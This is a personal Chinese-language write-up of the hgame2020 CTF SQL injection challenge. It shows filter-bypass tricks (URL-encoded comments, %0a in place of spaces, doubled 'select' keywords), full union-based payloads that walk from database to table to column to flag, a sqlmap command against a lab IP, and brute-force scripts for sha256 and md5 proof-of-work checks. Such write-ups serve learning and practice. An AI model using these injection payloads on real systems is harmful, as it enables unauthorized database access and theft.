hgame2020 杂记录-1
标签(空格分隔): 未分类
Cosmos的留言板-1
题目url:
简单测试一下
1# 回显:id=1 过滤了# 而1%23 回显1#,用url编码即可绕过
-1 OR 1 =1 回显:id:-1OR1=1 过滤了空格
1, 回显:id=1, 逗号未被过滤,但是没有用到逗号
1+ 回显:id=1 过滤了+, select同理,而1seselectlect回显1select,用双写可以绕过
主要是绕过对空格的过滤,用了$/**/$ ,后面发现直接%0a(换行符)也可以,还更直接…
再试了一下%a0 %0b %0c %0d 也可以
我不太明白的是为什么要手动转义,输入符号到地址栏里不会自己转成url编码,要自己提前转换;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17记住一个流程,库——表——列——数据
#(1)库
id=-1' union seselectlect database()#
id=-1%27%0aunion+%0aseselectlect+%0adatabase()%23
回显:easysql
#(2)表
id=-1' union seselectlect group_concat(table_name) from information_schema.tables where table_schema='easysql'#
id=-1%27%0aunion%0aseselectlect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%3d%27easysql%27%23
回显:f1aggggggggggggg,messages
#(3)列
id=-1’ union seselectlect group_concat(column_name) from information_schema.columns where table_name='f1aggggggggggggg' and table_schema='easysql'#
id=-1%27%0aunion%0aseselectlect%0agroup_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_name%3d%27f1aggggggggggggg%27%0aand%0atable_schema%3d%27easysql%27%23
回显:fl4444444g
#(4)数据
id=-1' union seselectlect fl4444444g from f1aggggggggggggg#
id=-1%27%0aunion%0aseselectlect+%0afl4444444g%0afrom%0af1aggggggggggggg%23
回显:hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
当然要试验一下sqlmap能不能跑1
sqlmap -u "http://139.199.182.61/index.php?id=1" -p id --dbs
简单的POW脚本(sha256)
sha256(XXXX+bgiFjnj4kJ2Kmzc3) == 0e9428c95bc1832c1d0365665dbcea4d683a627ed63ed129163abf1684f21e4e
要求发送XXXX
1
2
3
4
5
6
7
8
9
10
11
12 import hashlib
cipher="0e9428c95bc1832c1d0365665dbcea4d683a627ed63ed129163abf1684f21e4e"
wenben="1234567890zxcvbnmasdfghjklqwertyuiopZXCVBNMASDFGHJKLQWERTYUIOP"
for a in range(0,62):
for b in range(0,62):
for c in range(0,62):
for d in range(0,62):
x=wenben[a]+wenben[b]+wenben[c]+wenben[d]
sha=hashlib.sha256(x.encode("utf-8")+b"bgiFjnj4kJ2Kmzc3").hexdigest()
if sha == cipher:
print (x)
结果:
o70Q
[Finished in 41.1s]
看wp好像可以省略这一步的
简单的验证码(md5)
md5(code)[0:6]==f71f55
要求发送code
1 | import hashlib |
结果:
14050069
[Finished in 39.3s]